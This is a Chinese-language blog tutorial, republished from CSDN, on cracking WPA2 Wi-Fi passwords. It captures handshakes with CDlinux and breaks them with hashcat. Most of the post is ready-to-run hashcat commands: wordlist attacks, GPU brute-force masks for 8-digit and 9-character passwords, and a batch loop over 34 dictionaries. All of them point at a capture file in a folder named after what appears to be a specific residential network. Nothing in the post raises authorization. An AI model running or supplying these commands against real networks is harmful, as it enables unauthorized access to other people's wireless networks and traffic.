首先用CDlinux系統進行抓包，CDlinux抓包我就不詳細說明
到這里可以查看如何安裝CDlinux http://jingyan.baidu.com/article/7f766daf5173a94101e1d0fa.html
到這里可以查看如何使用CDlinux http://jingyan.baidu.com/article/1e5468f9293d07484961b7d4.html
進入正題:
hashcat是用來破解WPA2的包，當然也可以破解很多東西（如系統密碼、rar、MD5等等，它比較受歡迎）
hashcat下載: https://hashcat.net/ [q盤有存]
下載字典:百度盤有存
windows 和linux 都可以，破解速度還可以，主要還用到GPU顯卡並行模式，破解速度相當快
[參數使用]https://hashcat.net/wiki/doku.php?id=hashcat
思路：
1、先用弱口令字典破解
2、弱口令破解不了，就開始用GPU顯卡進行8-12位數字破解
3、上面破解不了，就開始用GPU顯卡進行8-12位數字字母特殊字符組合破解
開始:
我用64位系統就用hashcat64.exe，格式如下：
下面的意思:用了7個字典破解34-96-72-0A-0C-DA_handshake.cap.hccap包
hashcat64.exe -m 2500 G:\wifi\pcap\ziroom301\34-96-72-0A-0C-DA_handshake.cap.hccap G:\wifi\dic\ok\1.dict G:\wifi\dic\ok\2.dict G:\wifi\dic\ok\3.dict G:\wifi\dic\ok\5.dict G:\wifi\dic\ok\6.dict G:\wifi\dic\ok\7.dict
下面的意思:用GPU且8位數字掩碼來破解34-96-72-0A-0C-DA_handshake.cap.hccap包
hashcat64.exe -a 3 -m 2500 G:\wifi\pcap\ziroom301\34-96-72-0A-0C-DA_handshake.cap.hccap ?d?d?d?d?d?d?d?d
下面的意思:用GPU且9位大小寫字母特殊字符組合的掩碼來破解34-96-72-0A-0C-DA_handshake.cap.hccap包
hashcat64.exe -a 3 -m 2500 G:\wifi\pcap\ziroom301\34-96-72-0A-0C-DA_handshake.cap.hccap --custom-charset1=?a ?1?1?1?1?1?1?1?1?1
Cracking WPA/WPA2 with oclHashcat：https://hashcat.net/wiki/doku.PHP?id=cracking_wpawpa2
在線cap轉為hccap格式：https://hashcat.net/cap2hccap/
Git：https://github.com/hashcat/hashcat
============================================================================================
小技巧:可以在hashcat的目錄下建一個bat命令批量執行多個wpa-1-34.txt dict 字典目錄如下:
for /l %x in (1, 1, 34) do echo hashcat64.exe -m 2500 -a 0 E:\a\wifi\netcore\netcore.hccapx E:\a\wifi\dict\wpa\wpa-%x.txt
正在跑:查看進度可輸入 s
---------------------
原文：https://blog.csdn.net/sonbyn001/article/details/70342401